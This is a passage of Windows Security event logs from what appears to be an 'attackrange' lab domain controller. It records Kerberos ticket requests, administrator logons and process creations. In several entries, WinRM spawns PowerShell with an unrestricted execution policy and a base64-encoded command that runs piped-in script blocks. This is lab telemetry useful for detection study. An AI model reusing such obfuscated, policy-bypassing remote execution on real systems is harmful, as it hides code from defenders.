Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253247
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x968
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253318
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19E95B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253317
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19E95B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253316
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253315
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253314
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253313
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e8
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x284
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x284
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x48c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253311
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D615

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253310
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D615
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253309
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253308
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F8047A9E-3108-E198-4B03-D5585BEA0F05}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253307
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253306
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x48c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10b4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253305
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x49c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAE